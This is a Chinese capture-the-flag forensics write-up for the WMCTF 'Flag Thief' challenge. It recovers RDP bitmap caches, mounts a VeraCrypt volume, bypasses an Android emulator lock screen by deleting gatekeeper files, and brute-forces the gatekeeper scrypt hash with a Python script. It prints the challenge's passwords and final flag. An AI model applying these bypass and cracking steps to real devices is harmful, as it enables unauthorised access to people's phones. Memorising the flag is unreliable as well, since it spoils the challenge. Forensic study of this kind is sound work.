Drive the 7z's passowrd is ec19b53ce10adc41be119713ffe34760 Flag Thief hint1:经过警方长达一天的审讯,L1near交代他曾经对受害人的电脑远程操控过 ``` 通过 hint 注意到远程连接的bmc位图缓存,路径如下: ![bmc位图缓存地址路径](https://i.imgur.com/lQ6NqNF.png) 利用`bmc-tools`恢复缓存的 bmc 位图,通过大概浏览可以得到其中存在记事本的界面,里面包含着 veracrypt 的字样,那么将其拼接得到: ![](https://i.imgur.com/H44gBCy.png) ``` VeraCrypt 5eCuri7yPaSsW0rd@__WMCTF Oh no! U found it! ``` 那么就需要找到能让我们解密的 veracrypt 容器,这里通过取证大师的加密文件分类定位到一个可疑的文件: ![](https://i.imgur.com/wedFU0E.png) 将其利用之前得到的秘钥挂载得到`nox-disk2.vmdk`,通过名称可以得知是夜神模拟器的数据盘,将其挂载在模拟器中即可打开,发现存在锁屏密码: ![](https://i.imgur.com/wO9ptGw.png) 这里通过删除vmdk中的 gatekeeper.pattern.key gatekeeper.password.key 以及 device_policies.xml 文件可以绕过锁屏直接进入,查看通讯录发现: ![](https://i.imgur.com/Ajd2KjA.png) ![](https://i.imgur.com/vTQ8Yat.png) 可恶还是需要锁屏密码,非预期方法被防了 :sob: :sob: 那么我们再来看锁屏密码,这里参考中科实数杯的考点: https://mp.weixin.qq.com/s?__biz=MzAxODA3NDc3NA==&mid=2247484582&idx=1&sn=716471f5440de7305ae1a8075e5c7bf9 X-ways先提取`/system/device_policies.xml`以确认密码为9位: ![](https://i.imgur.com/D6Yo8Hd.png) ![](https://i.imgur.com/OXbRSdj.png) 然后提取 gatekeeper.pattern.key ,计算哈希并爆破密码,那么我们首先生成字典(9位不重复数字): ```python # python3 file1 = open('password.txt', 'a') for a in "123456789": for b in "123456789": for c in "123456789": for d in "123456789": for e in "123456789": for f in "123456789": for g in "123456789": for h in "123456789": for i in "123456789": if a != b and a != c and a != d and a != e and a != f and a != g and a != h and a != i \ and b != c and b != d and b != e and b != f and b != g and b != h and b != i \ and c != d and c != e and c != f and c != g and c != h and c != i\ and d != e and d != f and d != g and d != h and d != i\ and e != f and e != g and e != h and e != i\ and f != g and f != h and f != i\ and g != h and g != i\ and h != i: password = a + b + c + d + e + f + g + h + i file1.write(password + '\n') file1.close() ``` 爆破脚本: ```python import struct import binascii import scrypt N = 16384 r = 8 p = 1 f = open('gatekeeper.pattern.key', 'rb') blob = f.read() s = struct.Struct('<' + '17s 8s 32s') (meta, salt, signature) = s.unpack_from(blob) f1 = open('password.txt', 'rb') lines = f1.readlines() for i in range(len(lines)): password = lines[i][:-2] to_hash = meta to_hash += password hash = scrypt.hash(to_hash, salt, N, r, p) print('password: %s' % password) print('signature: %s' % binascii.hexlify(signature)) print('Hash: %s' % binascii.hexlify(hash[0:32])) print('Equal: %s' % (hash[0:32] == signature)) if hash[0:32] == signature: print("OK") exit() ``` 得到密码: ``` password: 183492765 signature fc677bebe8884278575c19a79a7f0efbab47f2e4dd73d43564adc17373fea9e7 Hash: fc677bebe8884278575c19a79a7f0efbab47f2e4dd73d43564adc17373fea9e7 Equal: True OK ``` 锁屏验证后发现可以解开 (当然上述的部分也可以使用hashcat进行爆破,速度应该比这个脚本要快上不少) 那么猜测接下来的过程是利用解得的锁屏作为密钥来解密文: ``` cipher: BS7nX1uw+KmS4LSXlK3LIntByEturqY4qjGI/yj3Di8aps4K+DR9hCzndjUD7w54 key: 183492765 ``` AES 解密 http://tool.chacuo.net/cryptaes ![](https://i.imgur.com/HFyjTYM.png) flag: ``` wmctf{dc4fc81e0aedc4692a7e312ce503e3ef} ```